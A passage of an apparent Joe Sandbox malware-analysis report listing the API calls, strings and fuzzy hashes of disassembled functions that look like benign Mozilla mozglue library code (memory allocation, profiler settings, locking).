Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b4238fab6fe796d7d41da802bb82100cf4833abe26ce908ad31e2fd99ce6d791
Instruction ID: 8875ef7ac04c40ebd69ec095cb6056bffa4269eff5a02dd3ce402b8e92c3a26c
Opcode Fuzzy Hash: b4238fab6fe796d7d41da802bb82100cf4833abe26ce908ad31e2fd99ce6d791
Instruction Fuzzy Hash: 3631E872A001148BC7188E7CDA5446E77A9BB85374B2A0B7DE827DBBD5EB30F9048791

Function 6C82AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C83E330,?,6C7EC059), ref: 6C82AD9D

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C83E330,?,6C7EC059), ref: 6C82ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C83E330,?,6C7EC059), ref: 6C82AE01
GetLastError.KERNEL32(?,00000000,?,?,6C83E330,?,6C7EC059), ref: 6C82AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C83E330,?,6C7EC059), ref: 6C82AE3D

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 06850b3079431e9ebaa778abf5b8b17bb883684a22b8de7034a58b3c75763a46
Instruction ID: 7b3abedf58f8517f7a175eec3506e05236da8224f8dd8076034658271d028705
Opcode Fuzzy Hash: 06850b3079431e9ebaa778abf5b8b17bb883684a22b8de7034a58b3c75763a46
Instruction Fuzzy Hash: CD3141B59002159FD720DF798D48AABB7F8EF48614F158829E85AD7700E734A845C7E0

Function 6C825EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C83DCA0,?,?,?,6C7FE8B5,00000000), ref: 6C825F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C7FE8B5,00000000), ref: 6C825F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C7FE8B5,00000000), ref: 6C825F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C7FE8B5,00000000), ref: 6C825F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C7FE8B5,00000000), ref: 6C825FD6

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 20b857cf06e10e29d054d1f6226bf07c558b7835cb9b0f34c888ee291af3af88
Instruction ID: 1bdb4e4d26f5fb2e51dbdc5cbdbe8d7f31da2bada56b1584204ca6e36cf1a811
Opcode Fuzzy Hash: 20b857cf06e10e29d054d1f6226bf07c558b7835cb9b0f34c888ee291af3af88
Instruction Fuzzy Hash: 0A31EC343406408FD734DF29C598A2AB7F5BF89319BA48968E55687B99C735EC41CBC0

Function 6C7CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C7CB532
moz_xmalloc.MOZGLUE(?), ref: 6C7CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C7CB57E
free.MOZGLUE(00000000), ref: 6C7CB58F

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: d4ea5e64e3a6f4ef8817ed68b91748a2619588bcd911414c7ac80093f60a3388
Instruction ID: b9d1e5a5972b71966385997f8da1e64a74290ffa76b4345ae1cc2ccee2670257
Opcode Fuzzy Hash: d4ea5e64e3a6f4ef8817ed68b91748a2619588bcd911414c7ac80093f60a3388
Instruction Fuzzy Hash: CB21E671A002069FDB009F68DD44B6ABBB9FF85308F244139F818DB341E775E915CBA1

Function 6C7CB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C7CB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C7CB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C7CB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7CB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7CB849

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 6ca914e0a88772716b5bafcdd23a3a318562aea304f5f2b3bb93a375f4c0cef6
Instruction ID: 838305b77266cff5af87631cfdb96da116527a9a1ab71d6f920faa99399552c7
Opcode Fuzzy Hash: 6ca914e0a88772716b5bafcdd23a3a318562aea304f5f2b3bb93a375f4c0cef6
Instruction Fuzzy Hash: 8C2139B0E002199FDF14DFA9C9855AEBBB8EF49318F148129EC15A7341E731A948CBE1

Function 6C826E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C826E78

Part of subcall function 6C826A10: InitializeCriticalSection.KERNEL32(6C84F618), ref: 6C826A68
Part of subcall function 6C826A10: GetCurrentProcess.KERNEL32 ref: 6C826A7D
Part of subcall function 6C826A10: GetCurrentProcess.KERNEL32 ref: 6C826AA1
Part of subcall function 6C826A10: EnterCriticalSection.KERNEL32(6C84F618), ref: 6C826AAE
Part of subcall function 6C826A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C826AE1
Part of subcall function 6C826A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C826B15
Part of subcall function 6C826A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C826B65
Part of subcall function 6C826A10: LeaveCriticalSection.KERNEL32(6C84F618,?,?), ref: 6C826B83

MozFormatCodeAddress.MOZGLUE ref: 6C826EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C826EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C826EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C826EFF

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 83c00437031db44f6ad0bd7516425e735bf41f67b9809c966a9c99be3d484b78
Instruction ID: 8285ca0da2309a5a87a09e8e882845379a34886a03ba41b8475fb0b82db5c0ff
Opcode Fuzzy Hash: 83c00437031db44f6ad0bd7516425e735bf41f67b9809c966a9c99be3d484b78
Instruction Fuzzy Hash: 6721B271A042198FCF20DF29D9896AE77F4FF84308F048439E80D97240EB749A48CF92

Function 6C8276C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C8276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C827705

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C827717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C82778F,00000000,00000000,00000000,00000000), ref: 6C827731
free.MOZGLUE(00000000), ref: 6C827760

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 46012bc582a1671021c77e58c55a104513230e42b871936eae0d7a4e73a1675d
Instruction ID: 90b62e6516315954413edfe6482ee96daf49fdd618786976067f426a89be7f35
Opcode Fuzzy Hash: 46012bc582a1671021c77e58c55a104513230e42b871936eae0d7a4e73a1675d
Instruction Fuzzy Hash: 2811B6B19012256FD720AFBADD48B6B7EF8EF46354F044929F888A7300E7749840C7E2

Function 6C800D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C7C3DEF), ref: 6C800D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C7C3DEF), ref: 6C800D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C7C3DEF), ref: 6C800DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C800D97, 6C800DBE
<jemalloc>, xrefs: 6C800D92, 6C800DB9

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 8d7ff35667152f1e4a79de2363198d02277ce0646b10090ae260e9359b4b77f5
Instruction ID: 102d483da1118619ff755bcedaecb6c478cbf9c1ec10da4f2e20e9b644c3b66a
Opcode Fuzzy Hash: 8d7ff35667152f1e4a79de2363198d02277ce0646b10090ae260e9359b4b77f5
Instruction Fuzzy Hash: A0F0E03138075C23E5302A651E05B6A275D67C2B19F70CD36FA04DA9C0DB60E404D6B4

Function 6C817620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C8175C4,?), ref: 6C81762B

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C8174D7,6C8215FC,?,?,?), ref: 6C817644
GetCurrentThreadId.KERNEL32 ref: 6C81765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C8174D7,6C8215FC,?,?,?), ref: 6C817663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C8174D7,6C8215FC,?,?,?), ref: 6C817677

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 65335ccd7f4921d722b1d8c044cef7851f4a31295b40945028e77061284be392
Instruction ID: 989e075e437abe7a6ea1df48880a3920699a65957f9e1d36d8ada5deba54e93b
Opcode Fuzzy Hash: 65335ccd7f4921d722b1d8c044cef7851f4a31295b40945028e77061284be392
Instruction Fuzzy Hash: 29F0AF71E10B45ABD7009F22C888A7AB778FFEA25DF128366F90442601E7B0A5D0CBD0

Function 6C821700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C821800

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

Part of subcall function 6C7C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C803EBD,6C803EBD,00000000), ref: 6C7C42A9

Strings

name, xrefs: 6C821939
{marker.name} - {marker.data.name}, xrefs: 6C8218C7
Details, xrefs: 6C821925

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 14be6716f7432c17fe178f15ef455f1c9eaf18997d666037b6b6422a2723f8b8
Instruction ID: 9939d4899aa04591eb7ea80fcce56487c24c78780377ef5e1208edd5496d2afb
Opcode Fuzzy Hash: 14be6716f7432c17fe178f15ef455f1c9eaf18997d666037b6b6422a2723f8b8
Instruction Fuzzy Hash: 11710571A0030A9FC714DF28D6887AAFBB1FF45314F508A6DD8154BB41D771AA98CBE2

Function 6C82B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C82B0A6,6C82B0A6,?,6C82AF67,?,00000010,?,6C82AF67,?,00000010,00000000,?,?,6C82AB1F), ref: 6C82B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C82B0A6,6C82B0A6,?,6C82AF67,?,00000010,?,6C82AF67,?,00000010,00000000,?), ref: 6C82B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C82B0A6,6C82B0A6,?,6C82AF67,?,00000010,?,6C82AF67,?,00000010), ref: 6C82B25F

Strings

map/set<T> too long, xrefs: 6C82B1FA

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 964260a3d5d14c24df545236c772ff73fed23c4ce3b731210118695aa2df7042
Instruction ID: 89411e1dfd38c28a764ad55f6031412ad4ee1eb2ae26836670d9e47ce89c7105
Opcode Fuzzy Hash: 964260a3d5d14c24df545236c772ff73fed23c4ce3b731210118695aa2df7042
Instruction Fuzzy Hash: 09619D346052458FD711CF19C688AAABBF1FF4A318F18C9A9D85A4BB52C335EC85CBD1

Function 6C7ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

EnterCriticalSection.KERNEL32(6C84E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED4F2
LeaveCriticalSection.KERNEL32(6C84E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED50B

Part of subcall function 6C7CCFE0: EnterCriticalSection.KERNEL32(6C84E784), ref: 6C7CCFF6
Part of subcall function 6C7CCFE0: LeaveCriticalSection.KERNEL32(6C84E784), ref: 6C7CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED52E
EnterCriticalSection.KERNEL32(6C84E7DC), ref: 6C7ED690
LeaveCriticalSection.KERNEL32(6C84E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7FD1C5), ref: 6C7ED751

Strings

MOZ_CRASH(), xrefs: 6C7ED4BB

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 26cbf700468b5ad20226b4f74b1def30824a27fac2a5aa52e3b9ea16a5c4b742
Instruction ID: 45b08b2b5a50a3553dc17629aca5a9f43a849d4b7f3cf47af03c078f45de2a8e
Opcode Fuzzy Hash: 26cbf700468b5ad20226b4f74b1def30824a27fac2a5aa52e3b9ea16a5c4b742
Instruction Fuzzy Hash: F351F272A047058FD324CF29C29461AB7E1EBD9318F54893ED5A9C7B85E770E804CB92

Function 6C814630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C814721

Strings

., xrefs: 6C81476A
profiler-paused, xrefs: 6C8146E4
-%llu, xrefs: 6C814733

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 27e681e1938e820f76717f4a7ed16bfc33f361f4e5f7f5ac6fda33c2bdff52ce
Instruction ID: 188a872528c04150f0504d8d043f5681bcf9e5c9a2036ab4dd487cd177f44542
Opcode Fuzzy Hash: 27e681e1938e820f76717f4a7ed16bfc33f361f4e5f7f5ac6fda33c2bdff52ce
Instruction Fuzzy Hash: 7A416971A086099BCB28DF78D95115EB7E5EFC534CF108E3EE8599BB41E7309804C781

Function 6C8146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C814721

Part of subcall function 6C7C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C803EBD,00000017,?,00000000,?,6C803EBD,?,?,6C7C42D2), ref: 6C7C4444

Strings

., xrefs: 6C81476A
profiler-paused, xrefs: 6C8146E4
-%llu, xrefs: 6C814733

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 634e1db683e67cd614e23081324f680583431143f59d7e3931ba8a31399986d8
Instruction ID: 2287982f2baa70cf48dba18785c7886fae39a0140d66e14d8d11c73445009b96
Opcode Fuzzy Hash: 634e1db683e67cd614e23081324f680583431143f59d7e3931ba8a31399986d8
Instruction Fuzzy Hash: 20314871F042195BCB18CF6CD98529EBBE6DBC9318F14893DE8059BB41EB7498048B90

Function 6C81B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C803EBD,6C803EBD,00000000), ref: 6C7C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C81B127), ref: 6C81B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C81B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C81B4E4

Strings

pid:, xrefs: 6C81B4DE

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 685a39067466f66098f0b43affdaa088a94a900dbe31e1de228fad080a0e5f01
Instruction ID: 92f68a97a25bc23f0da0524b4b786cfe2ec3d16ea0196e5584ccef3ac233da78
Opcode Fuzzy Hash: 685a39067466f66098f0b43affdaa088a94a900dbe31e1de228fad080a0e5f01
Instruction Fuzzy Hash: 493126B1A0520A8BCB20DFAAD980AFEB7F5BF44318F544929D401A7F41D731A845CBE1

Function 6C80E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C80E577
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80E584
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C80E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C80E655
MOZ_PROFILER_STARTUP, xrefs: 6C80E5A1, 6C80E5CC, 6C80E5FF, 6C80E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C80E722, 6C80E750, 6C80E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C80E826, 6C80E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C80E777

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

